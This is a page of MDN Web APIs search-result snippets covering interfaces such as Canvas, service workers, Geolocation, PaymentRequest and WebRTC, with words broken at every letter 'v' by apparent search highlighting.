vidual components of the transformation matrix to set: a (m11) horizontal scaling.
... e (dx) horizontal translation (mo
ving).
... f (dy) vertical translation (mo
ving).
...And 3 more matches
Pixel manipulation with canvas - Web APIs
« pre
viousnext » until now we haven't looked at the actual pixels of our canvas.
... this method is also demonstrated in the article manipulating
video using canvas.
...for this, we need the current position of the mouse with layerx and layery, then we look up the pixel data on that position in the pixel array that getimagedata() pro
vides us.
...And 3 more matches
Clients.claim() - Web APIs
the claim() method of the clients interface allows an active ser
vice worker to set itself as the controller for all clients within its scope.
... this triggers a "controllerchange" event on na
vigator.ser
viceworker in any clients that become controlled by this ser
vice worker.
... when a ser
vice worker is initially registered, pages won't use it until they next load.
...And 3 more matches
Clients.matchAll() - Web APIs
the matchall() method of the clients interface returns a promise for a list of ser
vice worker client objects.
... include the options parameter to return all ser
vice worker clients whose origin is the same as the associated ser
vice worker's origin.
... if options are not included, the method returns only the ser
vice worker clients controlled by the ser
vice worker.
...And 3 more matches
Clipboard.read() - Web APIs
note: the asynchronous clipboard and permissions apis are still in the process of being integrated into most browsers, so they often de
viate from the official rules for permissions and the like.
... be sure to re
view the compatibility table before using these methods.
... syntax var promise = na
vigator.clipboard.read(); parameters none.
...And 3 more matches
ContentIndex.getAll() - Web APIs
used in user-
visible lists of content.
...used in user-
visible lists of content.
...used in user-
visible lists of content.
...And 3 more matches
ContentIndex - Web APIs
examples feature detection and interface access here we get a reference to the ser
viceworkerregistration, then check for the index property, which gives us access to the content index interface.
... // reference registration const registration = await na
vigator.ser
viceworker.ready; // feature detection if ('index' in registration) { // content index api functionality const contentindex = registration.index; } adding to the content index here we're declaring an item in the correct format and creating an asynchronous function which uses the add() method to register it with the content index.
...st-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await na
vigator.ser
viceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrie
ving items within the current index the below example shows an asynchronous function that retrieves items within the content index and it...
...And 3 more matches
CredentialsContainer - Web APIs
this interface is accessible from na
vigator.credentials.
... methods credentialscontainer.create()secure context returns a promise that resolves with a new credential instance based on the pro
vided options, or null if no credential object can be created.
... credentialscontainer.get()secure context returns a promise that resolves with the credential instance that matches the pro
vided parameters.
...And 3 more matches
DedicatedWorkerGlobalScope - Web APIs
workerglobalscope.na
vigator read only returns the workerna
vigator associated with the worker.
... workerna
vigator is a specific na
vigator object, mostly a subset of the na
vigator for browsing scopes, but adapted to workers.
... also available
via the onmessage property.
...And 3 more matches
DocumentOrShadowRoot.elementFromPoint() - Web APIs
the elementfrompoint() method—available on both the document and shadowroot objects—returns the topmost element at the specified coordinates (relative to the
viewport).
... if the specified point is outside the
visible bounds of the document or either coordinate is negative, the result is null.
... syntax const element = document.elementfrompoint(x, y) parameters x the horizontal coordinate of a point, relative to the left edge of the current
viewport.
...And 3 more matches
Examples of web and XML development using the DOM - Web APIs
this chapter pro
vides some longer examples of web and xml development using the dom.
...in this case, you are manipulating the indi
vidual styles directly.
...you can access these stylesheets and their rules indi
vidually using the stylesheet, style, and cssrule objects, as demonstrated in this example, which prints out all of the style rule selectors to the console.
...And 3 more matches
EffectTiming.fill - Web APIs
"none" the animation's effects are only
visible while the animation is iterating or its playhead is positioned over an iteration.
... the animation's effects are not
visible when its playstate is pending with a delay, when its playstate is finished, or during its enddelay or delay.
... in other words, if the animation isn't in its active interval, the affected element is not
visible.
...And 3 more matches
Element: auxclick event - Web APIs
the auxclick event is fired at an element when a non-primary pointing de
vice button (any mouse button other than the primary—usually leftmost—button) has been pressed and released both within the same element.
... bubbles yes cancelable yes interface mouseevent event handler property onauxclick preventing default actions for the vast majority of browsers that map middle click to opening a link in a new tab, including firefox, it is possible to cancel this beha
vior by calling preventdefault() from within an auxclick event handler.
... when listening for auxclick events originating on elements that do not support input or na
vigation, you will often want to explicitly prevent other default actions mapped to the down action of the middle mouse button.
...And 3 more matches
Element.getBoundingClientRect() - Web APIs
the element.getboundingclientrect() method returns the size of an element and its position relative to the
viewport.
...properties other than width and height are relative to the top-left of the
viewport.
... the amount of scrolling that has been done of the
viewport area (or any other scrollable element) is taken into account when computing the bounding rectangle.
...And 3 more matches
FetchEvent.replacesClientId - Web APIs
the replacesclientid read-only property of the fetchevent interface is the id of the client that is being replaced during a page na
vigation.
... for example, when na
vigating from page a to page b replacesclientid is the id of the client associated with page a.
... it can be an empty string when na
vigating from about:blank to another page, as about:blank's client will be reused, rather than be replaced.
...And 3 more matches
FileList - Web APIs
for example, if the html includes the following file input: <input id="fileitem" type="file"> the following line of code fetches the first file in the node's file list as a file object: var file = document.getelementbyid('fileitem').files[0]; method over
view file item(index); properties attribute type description length integer a read-only value indicating the number of files in the list.
... working draft html li
ving standardthe definition of 'selected files' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
...And 3 more matches
FileReader - Web APIs
also available
via the onabort property.
... also available
via the onerror property.
... also available
via the onload property.
...And 3 more matches
FileSystemDirectoryEntry.getDirectory() - Web APIs
filesystemflags the options parameter is an object which is based on the filesystemflags dictionary; it pro
vides flags which make it possible to adjust the beha
vior of the getdirectory() method.
... false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was pro
vided).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetdirectory experimentalchrome full support 8edge full support 79firefox full support 50notes full support 50notes notes in firefox, ...
...And 3 more matches
FileSystemDirectoryEntry.getFile() - Web APIs
filesystemflags the options parameter is an object which is based on the filesystemflags dictionary; it pro
vides flags which make it possible to adjust the beha
vior of the getfile() method.
... false n/a[1] path exists but doesn't match the desired type the errorcallback is called with an appropriate error code (if the callback was pro
vided).
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgetfile experimentalchrome full support 8edge full support 79firefox full support 50notes full support 50notes notes in firefox, the e...
...And 3 more matches
FontFace.display - Web APIs
(see below.) block period the browser in
visibly prepares a fallback font.
... 'auto': use the font display strategy pro
vided by the user agent.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdisplay experimentalchrome full support 60edge full support 79firefox full support 58ie ?
...And 3 more matches
FontFaceSetLoadEvent - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetfontfacesetloadevent experimentalchrome full support 35edge full support ≤79firefox full support yesie ?
... web
view android no support nochrome android full support 35firefox android full support yesopera android full support 22safari ios ?
... web
view android no support nochrome android full support 57firefox android ?
...And 3 more matches
Geolocation - Web APIs
the geolocation interface represents an object able to programmatically obtain the position of the de
vice.
... it gives web content access to the location of the de
vice.
... an object with this interface is obtained using the na
vigator.geolocation property implemented by the na
vigator object.
...And 3 more matches
GeolocationCoordinates - Web APIs
the geolocationcoordinates interface represents the position and altitude of the de
vice on earth, as well as the accuracy with which these properties are calculated.
...this value can be null if the implementation cannot pro
vide the data.
... geolocationcoordinates.heading read only secure context returns a double representing the direction towards which the de
vice is facing.
...And 3 more matches
GestureEvent - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetgestureevent non-standardchrome no support noedge no support nofirefox no support noie no support noopera no support ...
... nosafari full support 9web
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios full support 2samsung internet android no support nogestureevent() constructor non-standardchrome no support noedge no support nofirefox no support noie no suppor...
...t noopera no support nosafari full support 9web
view android no support nochrome android no support nofirefox android no support noopera android no support nosafari ios full support 2samsung internet android no support noinitgestureevent non-standardchrome no support noedge no support nofirefox no support ...
...And 3 more matches
HTMLAnchorElement - Web APIs
the htmlanchorelement interface represents hyperlink elements and pro
vides special properties and methods (beyond those of the regular htmlelement object interface that they inherit from) for manipulating the layout and presentation of such elements.
... this interface corresponds to <a> element; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fi...
... htmlelement.tabindex is a long containing the position of the element in the tabbing na
vigation order for the current document.
...And 3 more matches
msAudioCategory - Web APIs
there may also be large incompatibilities between implementations and the beha
vior may change in the future.
... msaudiocategory specifies the purpose of the audio or
video media, such as background audio or alerts.
... syntax <audio controls="controls" msaudiocategory="backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the beha
vior of your audio-aware app.
...And 3 more matches
HTMLBodyElement - Web APIs
the htmlbodyelement interface pro
vides special properties (beyond those inherited from the regular htmlelement interface) for manipulating <body> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmlbodyelement.link is a domstring that represents the color of un
visited links.
...And 3 more matches
HTMLElement.hidden - Web APIs
this is quite different from using the css property display to control the
visibility of an element.
... appropriate use cases for hidden include: content that isn't yet relevant but may be needed later content that was pre
viously needed but is not any longer content that is reused by other parts of the page in a template-like fashion creating an offscreen canvas as a drawing buffer inappropriate use cases include: hiding panels in a tabbed dialog box hiding content in one presentation while intending it to be
visible in others elements that are not hidden must not link to elements which are.
... syntax ishidden = htmlelement.hidden; htmlelement.hidden = true | false; value a boolean which is true if the element is hidden from
view; otherwise, the value is false.
...And 3 more matches
HTMLImageElement.name - Web APIs
syntax htmlimageelement.name = namestring; namestring = htmlimageelement.name; value a domstring pro
viding a name by which the image can be referenced.
... specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.name' in that specification.
... li
ving standard html 4.01 specificationthe definition of 'htmlimageelement.name' in that specification.
...And 3 more matches
HTMLImageElement.useMap - Web APIs
the usemap property on the htmlimageelement interface reflects the value of the html usemap attribute, which is a string pro
viding the name of the client-side image map to apply to the image.
... syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring pro
viding the page-local url (that is, a url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image.
... specifications specification status comment html li
ving standardthe definition of 'htmlimageelement.usemap' in that specification.
...And 3 more matches
HTMLMenuElement - Web APIs
the htmlmenuelement interface pro
vides special properties (beyond those defined on the regular htmlelement interface it also has available to it by inheritance) for manipulating <menu> elements.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...d4e53" text-anchor="middle" alignment-baseline="middle">htmlmenuelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} propertiesthis interface has no properties, but inherits properties from: htmlelementmethodsthis interface has no methods, but inherits methods from: htmlelement specifications specification status comment html li
ving standardthe definition of 'htmlmenuelement' in that specification.
...And 3 more matches
HTMLObjectElement - Web APIs
the htmlobjectelement interface pro
vides special properties and methods (beyond those on the htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of <object> element, representing external resources.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
... htmlobjectelement.tabindex is a long representing the position of the element in the tabbing na
vigation order for the current document.
...And 3 more matches
HTMLOrForeignElement.dataset - Web APIs
the dataset read-only property of the htmlorforeignelement interface pro
vides read/write access to all the custom data attributes (data-*) set on the element.
...instead, all writes must be to the indi
vidual properties within the dataset, which in turn represent the data attributes.
...et the data attribute el.dataset.dateofbirth = '1960-10-03'; // result: el.dataset.dateofbirth === 1960-10-03 delete el.dataset.dateofbirth; // result: el.dataset.dateofbirth === undefined // 'somedataattr' in el.dataset === false el.dataset.somedataattr = 'mydata'; // result: 'somedataattr' in el.dataset === true specifications specification status comment html li
ving standardthe definition of 'htmlelement.dataset' in that specification.
...And 3 more matches
HTMLElement.focus() - Web APIs
syntax element.focus(options); // object parameter parameters options optional an optional object pro
viding options to control aspects of the focusing process.
... this object may contain the following property: preventscroll optional a boolean value indicating whether or not the browser should scroll the document to bring the newly-focused element into
view.
... a value of false for preventscroll (the default) means that the browser will scroll the element into
view after focusing it.
...And 3 more matches
HTMLSlotElement.assignedElements() - Web APIs
examples let slots = this.shadowroot.queryselector('slot'); let elements = slots.assignedelements({flatten: true}); specifications specification status comment html li
ving standardthe definition of 'assignedelements()' in that specification.
... li
ving standard browser compatibility the compatibility table on this page is generated from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetassignedelements experimentalchrome full support 65edge full support 79firefox full support 66ie no support noopera full support yessafari ?
...And 3 more matches
HTMLTableCellElement - Web APIs
the htmltablecellelement interface pro
vides special properties and methods (beyond the regular htmlelement interface it also has available to it by inheritance) for manipulating the layout and presentation of table cells, either header or data cells, in an html document.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top...
...usually the value of abbr is an abbre
viation or acronym, but can be any text that's appropriate contextually.
...And 3 more matches
History.scrollRestoration - Web APIs
the scrollrestoration property of history interface allows web applications to explicitly set default scroll restoration beha
vior on history na
vigation.
... examples query the current scroll restoration beha
vior.
... const scrollrestoration = history.scrollrestoration if (scrollrestoration === 'manual') { console.log('the location on the page is not restored, user will need to scroll manually.'); } prevent automatic page location restoration if (history.scrollrestoration) { history.scrollrestoration = 'manual'; } specifications specification status comment html li
ving standardthe definition of 'scroll restoration mode' in that specification.
...And 3 more matches
IDBCursorWithValue - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/idbcursor" target="_top"><rect x="1" y="1" width="90" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="46" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbcursor</text></a><polyline points="91,25 ...
...for a complete working example, see our idbcursor example (
view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cur...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetidbcursorwithvaluechrome full support 24 full support 24 no support 23 — 57prefixed prefixed implemented with the vendor prefix: webkitedge full support ...
...And 3 more matches
IDBFactory.open() - Web APIs
if the version is not pro
vided and the database exists, then a connection to the database will be opened without changing its version.
... if the version is not pro
vided and the database does not exist, then it will be created with version 1.
... note: you can find out more information on the different available storage types, and how firefox handles client-side data storage, at browser storage limits and e
viction criteria.
...And 3 more matches
IDBObjectStore.put() - Web APIs
dataerror any of the following conditions apply: the object store uses in-line keys or has a key generator, and a key parameter was pro
vided.
... the object store uses out-of-line keys and has no key generator, and no key parameter was pro
vided.
... the key parameter was pro
vided but does not contain a valid key.
...And 3 more matches
IDBOpenDBRequest - Web APIs
the idbopendbrequest interface of the indexeddb api pro
vides access to the results of requests to open or delete databases (performed using idbfactory.open and idbfactory.deletedatabase), using specific event handler attributes.
... <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" ...
...also available
via the onblocked property.
...And 3 more matches
ImageCapture.takePhoto() - Web APIs
the takephoto() method of the imagecapture interface takes a single exposure using the
video capture de
vice sourcing a mediastreamtrack and returns a promise that resolves with a blob containing the data.
...the available options are: filllightmode: the flash setting of the capture de
vice, one of "auto", "off", or "flash".
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internettakephoto experimentalchrome full support 60 full support 60 no support 59 — 60notes notes photosettings argument not supported.edge full support ≤79f...
...And 3 more matches
InputEvent.dataTransfer - Web APIs
examples in the following simple example we've set up an event listener on the input event so that when any content is pasted into the contenteditable <p> element, its html source is retrieved
via the inputevent.datatransfer.getdata() method and reported in the paragraph below the input.
... try copying and pasting some of the content pro
vided to see the effects.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdatatransfer experimentalchrome full support 60edge full support 79firefox full support 67ie no support noopera full su...
...And 3 more matches
Location: assign() - Web APIs
after the na
vigation occurs, the user can na
vigate back to the page that called location.assign() by pressing the "back" button.
... if the assignment can't happen because of a security
violation, a domexception of the security_error type is thrown.
... if the pro
vided url is not valid, a domexception of the syntax_error type is thrown.
...And 3 more matches
MediaError.code - Web APIs
media_err_network 2 some kind of network error occurred which prevented the media from being successfully fetched, despite ha
ving pre
viously been available.
... media_err_decode 3 despite ha
ving pre
viously been determined to be usable, an error occurred while trying to decode the media resource, resulting in an error.
... media_err_src_not_supported 4 the associated resource or media pro
vider object (such as a mediastream) has been found to be unsuitable.
...And 3 more matches
MediaError.message - Web APIs
the read-only property mediaerror.message returns a domstring which contains a human-readable string offering specific diagnostic details related to the error described by the mediaerror object, or an empty string ("") if no diagnostic information can be determined or pro
vided.
... syntax var errormessage = mediaerror.message; value a domstring pro
viding a detailed, specific explanation of what went wrong and possibly how it might be fixed.
...this lets us see the beha
vior of the error event handler, which is received by an event handler we add to the <audio> element itself.
...And 3 more matches
MediaStream - Web APIs
a stream consists of several tracks such as
video or audio tracks.
... each track is specified as an instance of mediastreamtrack.you can obtain a mediastream object either by using the constructor or by calling mediade
vices.getusermedia().
... some user agents subclass this interface to pro
vide more precise information or functionality, like in canvascapturemediastream.
...And 3 more matches
MediaStreamConstraints.audio - Web APIs
see security in mediade
vices.getusermedia() for details and examples on how to configure this.
... using a boolean value in this example, we pro
vide a simple value of true for the audio property.
...ont-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; } javascript content let audioelement = document.getelementbyid("audio"); let logelement = document.getelementbyid("log"); function log(msg) { logelement.innerhtml += msg + "<br>"; } document.getelementbyid("startbutton").addeventlistener("click", function() { na
vigator.mediade
vices.getusermedia({ audio: true }).then(stream => audioelement.srcobject = stream) .catch(err => log(err.name + ": " + err.message)); }, false); here we see an event handler for a click event which uses getusermedia() to obtain an audio-only stream with no specific constraints, then attaches the resulting stream to an <audio> element once the stream is returned.
...And 3 more matches
MediaTrackConstraints.facingMode - Web APIs
if needed, you can determine whether or not this constraint is supported by checking the value of mediatracksupportedconstraints.facingmode as returned by a call to mediade
vices.getsupportedconstraints().
... syntax var constraintsobject = { facingmode: constraint }; constraintsobject.facingmode = constraint; value an object based on constraindomstring specifying one or more acceptable, ideal, and/or exact (mandatory) facing modes are acceptable for a
video track.
... "user" the
video source is facing toward the user; this includes, for example, the front-facing camera on a smartphone.
...And 3 more matches
MediaTrackSupportedConstraints.logicalSurface - Web APIs
the mediatracksupportedconstraints dictionary's logicalsurface property indicates whether or not the logicalsurface constraint is supported by the user agent and the de
vice on which the content is being used.
... the supported constraints list is obtained by calling na
vigator.mediade
vices.getsupportedconstraints().
... syntax islogicalsurfacesupported = supportedconstraints.logicalsurface; value a boolean value which is true if the logicalsurface constraint is supported by the de
vice and user agent.
...And 3 more matches
Metadata - Web APIs
desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetmetadata experimentalnon-standardchrome full support 13prefixed full support 13prefixed prefixed implemented with the vendor prefix: webkitedge full support ≤79prefixed ...
... full support ≤79prefixed prefixed implemented with the vendor prefix: webkitfirefox no support noie no support noopera no support nosafari no support noweb
view android no support nochrome android full support yesprefixed full support yesprefixed prefixed implemented with the vendor prefix: webkitfirefox android no support noopera android no support nosaf...
...andardchrome full support 13edge full support ≤79firefox no support noie no support noopera no support nosafari no support noweb
view android no support nochrome android full support yesfirefox android no support noopera android no support nosafari ios no support nosamsung internet android ...
...And 3 more matches
OrientationSensor - Web APIs
instead it pro
vides properties and methods accessed by interfaces that inherit from it.
... absoluteorientationsensor relativeorientationsensor properties orientationsensor.quaternion returns a four element array whose elements contain the components of the unit quaternion representing the de
vice's orientation.
...on each reading it uses orientationsensor.quaternion to rotate a
visual model of a phone.
...And 3 more matches
PaymentAddress.region - Web APIs
the read-only region property of the paymentaddress interface returns a string containing the top-level administrative subdi
vision of the country in which the address is located.
... for example, this may be a state, pro
vince, oblast, or prefecture.
... syntax var paymentregion = paymentaddress.region; value a domstring specifying the top-level administrative subdi
vision within the country in which the address is located.
...And 3 more matches
PaymentRequest.PaymentRequest() - Web APIs
data a json-serializable object that pro
vides optional information that might be needed by the supported payment methods.
...for basic credit card ser
vices, this structure should match the basiccardrequest dictionary.
... details pro
vides information about the requested transaction.
...And 3 more matches
PaymentResponse.shippingOption - Web APIs
// initialization of paymentrequest arguments are excerpted for bre
vity.
... var payment = new paymentrequest(supportedinstruments, details, options); request.addeventlistener('shippingoptionchange', function(evt) { evt.updatewith(new promise(function(resolve, reject) { updatedetails(details, request.shippingoption, resolve, reject); })); }); payment.show().then(function(paymentresponse) { // processing of paymentresponse exerpted for the same of bre
vity.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetshippingoptionchrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes avai...
...And 3 more matches
Performance - Web APIs
the performance interface pro
vides access to performance-related information for the current page.
... it's part of the high resolution time api, but is enhanced by the performance timeline api, the na
vigation timing api, the user timing api, and the resource timing api.
...if you create a mark on the main thread (or other worker), you cannot see it in a worker thread, and
vice versa.
...And 3 more matches
PerformanceEventTiming - Web APIs
the performanceeventtiming interface of the event timing api pro
vides timing information for the event types listed below.
... // keep track of whether (and when) the page was first hidden, see: // https://github.com/w3c/page-
visibility/issues/29 // note: ideally this check would be performed in the document <head> // to avoid cases where the
visibility state changes before this code runs.
... let firsthiddentime = document.
visibilitystate === 'hidden' ?
...And 3 more matches
PerformanceLongTaskTiming - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;"
viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/performanceentry" target="_top"><rect x="1" y="1" width="160" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="81" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">performanceentry</text></a><polyline points="161,25 171,20 171,30 161,25" stroke="#...
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid web
viewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetperformancelongtasktiming experimentalchrome full support 58edge full support ≤79firefox no support nonotes no support nonotes notes...
... web
view android full support 58chrome android full support 58firefox android no support nonotes no support nonotes notes see bug 1348405.opera android full support yessafari ios ?
...And 3 more matches
Permissions.query() - Web APIs
syntax na
vigator.permissions.query(permissiondescriptor).then(function(permissionstatus) { ...
... user
visibleonly: (push only, not supported in firefox — see the browser support section below) indicates whether you want to show a notification for every message or be able to send silent push notifications.
...by the user, in the relevant permissions dialog), na
vigator.permissions.query() will return true for both notifications and push.
...And 3 more matches
PluginArray - Web APIs
the pluginarray interface is used to store a list of plugin objects describing the available plugins; it's returned by the window.na
vigator.plugins property.
... the pluginarray is not a javascript array, but has the length property and supports accessing indi
vidual items using bracket notation (plugins[2]), as well as
via item(index) and nameditem("name") methods.
... var pluginslength = na
vigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().textconten...
...And 3 more matches
PointerEvent.pointerType - Web APIs
the pointertype read-only property of the pointerevent interface indicates the de
vice type (mouse, pen, or touch) that caused a given pointer event.
...the supported values are the following strings: "mouse" the event was generated by a mouse de
vice.
... "pen" the event was generated by a pen or stylus de
vice.
...And 3 more matches
PositionOptions - Web APIs
if true and if the de
vice is able to pro
vide a more accurate position, it will do so.
... note that this can result in slower response times or increased power consumption (with a gps chip on a mobile de
vice for example).
... on the other hand, if false, the de
vice can take the liberty to save resources by responding more quickly and/or using less power.
...And 3 more matches
PublicKeyCredentialCreationOptions.extensions - Web APIs
extensions, an optional property of the publickeycredentialcreationoptions dictionary, is an object pro
viding the client extensions and their input values.
... note: an analogous option exists for the fetching operation (na
vigators.credentials.get()), see publickeycredentialrequestoptions.extensions.
... u
vi boolean user verification index.
...And 3 more matches
PushManager.subscribe() - Web APIs
the subscribe() method of the pushmanager interface subscribes to a push ser
vice.
...a new push subscription is created if the current ser
vice worker does not have an existing subscription.
...it can have the following properties: user
visibleonly: a boolean indicating that the returned push subscription will only be used for messages whose effect is made
visible to the user.
...And 3 more matches
RTCIceTransport - Web APIs
the rtcicetransport interface pro
vides access to information about the ice transport layer over which the data is being sent and received.
...the value of state can be used to determine whether the ice agent has made an initial connection using a
viable candidate pair ("connected"), made its final selection of candidate pairs ("completed"), or in an error state ("failed"), among other states.
... getlocalcandidates() returns an array of rtcicecandidate objects, each describing one of the ice candidates that have been gathered so far for the local de
vice.
...And 3 more matches
RTCInboundRtpStreamStats.qpSum - Web APIs
the qpsum property of the rtcinboundrtpstreamstats dictionary is a value generated by adding the quantization parameter (qp) values for every frame sent or received to date on the
video track corresponding to this rtcinboundrtpstreamstats object.
... in general, the higher this number is, the more hea
vily compressed the
video data is.
...since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more hea
vily compressed the stream generally has been.
...And 3 more matches
RTCOutboundRtpStreamStats.pliCount - Web APIs
